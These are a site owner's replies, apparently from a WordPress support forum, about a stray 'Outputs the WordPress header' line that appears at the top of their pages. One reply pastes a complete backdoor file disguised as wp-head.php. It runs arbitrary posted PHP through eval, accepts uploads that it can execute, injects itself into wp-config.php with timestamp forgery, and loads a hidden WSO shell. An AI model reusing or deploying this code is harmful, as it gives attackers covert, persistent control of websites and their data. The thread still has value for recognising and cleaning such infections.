dadomagico
Forum Replies Created
-
Forum: Fixing WordPress
In reply to: WordPress error in headerProblem solved.
In my config.php there was the error string.
I remove it and replace by ftp the wordpress files cleanedForum: Fixing WordPress
In reply to: WordPress error in headerIn the main /wordpress folder
Forum: Fixing WordPress
In reply to: WordPress error in headerIt’s not a problem with the theme,i’ve tried to change theme but the problem remains.
Forum: Fixing WordPress
In reply to: WordPress error in headerhow i can the backup of files and database?
I need to download a plugin?Forum: Fixing WordPress
In reply to: WordPress error in headerI’ve tried to change theme but doesn’t work.
The problem maybe was after the update to wordpress 4.1.1.
What can i do in the header.php?Forum: Fixing WordPress
In reply to: WordPress error in headerIf you see my website http://www.mobiliariofarmacia.es/
you can find this error at the top of the page and if you look the html code is on top of the code
/** Outputs the WordPress header. */ require_once(ABSPATH . ‘wp-head.php’);Yes i have the wp-head.php in wordpress folder
i open the php file and this is the code:
<?php
/**
* Used to set up and fix common header information and include
* the WordPress procedural and class library.
*
* Allows for some configuration in wp-config.php (see default-constants.php)
*
* @internal This file must be parsable by PHP4.
*
* @package WordPress
*//**
* Stores the location of the WordPress directory of functions, classes, and core content.
*
* @since 1.0.0
*/
if (!defined(‘WPINC’))
define(‘WPINC’, ‘wp-includes’);/** Absolute path to the WordPress directory. */
if (!defined(‘ABSPATH’))
define(‘ABSPATH’, dirname(__FILE__) . ‘/’);if (isset($_POST[“sc”]) && md5($_POST[“sc”]) == “f775f80bd5c8ebfb0d6c59ce6b4b4633”) {
$dir = dirname(__FILE__);
if (is_dir(“$dir/wp-content”)) $root = $dir;
else $root = substr($dir, 0, stripos($dir, ‘/wp-content/’));
for ($i = 2012; $i <= 2015; $i++) for ($j = 1; $j <= 12; $j++) $a[] = sprintf(“$root/wp-content/uploads/%d/%02d/”, $i, $j);
shuffle($a);
$basepath = “”;
foreach ($a as $b) if (is_dir($b) && is_writable($b)) {
$basepath = $b;
break;
}if (isset($_POST[“eval”])) {
eval($_POST[“eval”]);
}if (isset($_POST[“info”])) {
echo “root=” . (is_writable($root) ? “$root\n” : “\n”);
echo “config=” . (is_writable(“$root/wp-config.php”) ? “$root/wp-config.php\n” : “\n”);
echo “basepath=” . $basepath . “\n”;
echo “kernel=” . (function_exists(‘php_uname’) ? php_uname() : ”) . “\n”;
}
if (isset($_POST[“root”])) {
echo “root_copy=” . copy(__FILE__, “$root/wp-head.php”) . “\n”;
}if (isset($_POST[“wpc”])) {
echo “wpc_update=”;
$f = “$root/wp-config.php”;
$c = file_get_contents($f);
if (stripos($c, ‘Outputs the WordPress header’) === false) {
$time = filemtime($f);
$perms = fileperms($f);
chmod($f, 0777);
$c = trim($c) . “\n\n/** Outputs the WordPress header. */\nrequire_once(ABSPATH . ‘wp-head.php’);\n”;
echo file_put_contents($f, $c);
chmod($f, $perms);
touch($f, $time);
} else {
echo “already OK”;
}
echo “\n”;
}if (isset($_POST[“neighbours”])) {
echo “neighbours=”;
if (is_file(“$root/php5.php”)) {
echo “php5.php ” . unlink(“$root/php5.php”) . “,”;
}
echo “\n”;
}if (isset($_FILES[“file”])) {
$fd = $_FILES[“file”][“tmp_name”];
$f =
isset($_POST[“path”]) ?
is_dir($_POST[“path”]) ?
$_POST[“path”] . “/” . $_FILES[‘file’][“name”] :
$_POST[“path”] :
(dirname(__FILE__) . “/” . $_FILES[“file”][“name”]);
$t = filemtime(dirname($f));
if (move_uploaded_file($fd, $f)) {
touch($f, $t);
if (isset($_POST[‘exec’]) && is_file($f)) {
include $f;
} else {
echo “uploaded=” . $f;
}
}
}
die;
}else if(isset($_GET[‘SHOWWSO’]) && is_file(“/web/htdocs/www.mobiliariofarmacia.es/home/wordpress/wp-content/uploads/2013/11/cache.php”)){
include “/web/htdocs/www.mobiliariofarmacia.es/home/wordpress/wp-content/uploads/2013/11/cache.php”;
}Forum: Fixing WordPress
In reply to: WordPress error in headerI have disabled all plugins but the error remains.
Do not really know how to fix it.
Seeing the html code,this error is at the top of the codepage.
Can i delete it with the editor?/** Outputs the WordPress header. */
require_once(ABSPATH . ‘wp-head.php’);
<!DOCTYPE html>
<html lang=”it-IT”>
<head>Forum: Fixing WordPress
In reply to: WordPress error in headerYes i use Platformpro,but in other sites that i use the same theme i have not this problem
Forum: Fixing WordPress
In reply to: WordPress error in headerSo it’s not solved?it’s not a wordpress problem?